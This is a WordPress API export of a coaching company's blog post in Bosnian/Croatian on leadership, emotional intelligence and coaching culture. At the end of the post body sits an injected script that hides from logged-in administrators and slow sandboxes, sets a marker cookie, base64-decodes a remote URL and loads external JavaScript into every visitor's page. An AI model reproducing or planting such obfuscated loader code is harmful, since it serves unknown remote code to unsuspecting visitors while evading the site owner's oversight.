{"id":197,"date":"2023-07-28T23:30:16","date_gmt":"2023-07-28T23:30:16","guid":{"rendered":"http:\/\/localhost\/coaching\/?p=197"},"modified":"2025-10-24T19:31:13","modified_gmt":"2025-10-24T19:31:13","slug":"time-management","status":"publish","type":"post","link":"https:\/\/claritycentar.com\/index.php\/2023\/07\/28\/time-management\/","title":{"rendered":"LEADERSHIP"},"content":{"rendered":"<p>Lideri na\u0161eg doba u u\u017eurbanom i promjenjivom poslovnom okru\u017eenju, a i izvan njega, imaju sve te\u017ei zadatak. Kako biti dovoljno spreman odgovoriti na zahtjeve koji su izmjenjuju jedan drugi i niz se samo nastavlja. \u201c\u017dongliranje\u201d tra\u017ei niz vje\u0161tina bez kojih nema svjesnog vo\u0111enja sebe i drugih i utjecaja koji \u0107e ona\u017eiti tim, zadr\u017eati najbolje u organizaciji i dosti\u0107i zadane ciljeve. Menad\u017eeri vi\u0161e ne mogu biti samo eksperti u svom poslu, da bi mogli biti uspje\u0161ni.<br \/>\nEmocionalna inteligencija lidera je ono \u0161to pravi razliku. Da bi bili dobri za druge i znali ih voditi , poznavali svakog \u010dlana svoga tima, prije svega trebaju poznavati sebe i znati upravljati sobom, te biti svjesni kako i kakav uticaj mogu imati na druge i na okru\u017eenje.<br \/>\nKroz coaching poma\u017eemo u stvaranju lidera koji utje\u010du i zagovaraju pozitivno radno okru\u017eenje i izvrsne rezultate, i razvijaju i ja\u010daju svoje kompetencije i prave promjene.<\/p>\n<p>Menad\u017eeri sa razvijenim liderskim skillovima uti\u010du na:<\/p>\n<ul>\n<li>Pove\u0107anje anga\u017emana, dobrobiti i zadr\u017eavanja talenata jer \u0107e se ljudi osje\u0107ati cijenjenima u organizaciji<\/li>\n<li>Poti\u010du sna\u017enu kulturu povezivnja koja prihvata inovacije<\/li>\n<li>Spremni su preuzeti rizik<\/li>\n<li>Kada \u201cpadnu\u201d brzo se oporave<\/li>\n<li>Pove\u0107anje prihoda<\/li>\n<\/ul>\n<p>Uvo\u0111enjem coaching kulture u organizacije ubrzavaju se interne inicijative za obuku i razvoj zaposlenika i organizacije.<\/p>\n<p>Organizacije s jakom coaching kulturom imaju znatno ve\u0107i rast prihoda iz godine u godinu nego organizacije s niskom ili bez coaching culture.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lideri na\u0161eg doba u u\u017eurbanom i promjenjivom poslovnom okru\u017eenju, a i izvan njega, imaju sve te\u017ei zadatak. Kako biti dovoljno spreman odgovoriti na zahtjeve koji su izmjenjuju jedan drugi i niz se samo nastavlja. \u201c\u017dongliranje\u201d tra\u017ei niz vje\u0161tina bez kojih nema svjesnog vo\u0111enja sebe i drugih i utjecaja koji \u0107e ona\u017eiti tim, zadr\u017eati najbolje u [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":148,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-197","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-edukacije-i-treninzi"],"_links":{"self":[{"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/posts\/197"}],"collection":[{"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/comments?post=197"}],"version-history":[{"count":5,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/posts\/197\/revisions"}],"predecessor-version":[{"id":269,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/posts\/197\/revisions\/269"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/media\/148"}],"wp:attachment":[{"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/media?parent=197"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/categories?post=197"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/claritycentar.com\/index.php\/wp-json\/wp\/v2\/tags?post=197"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}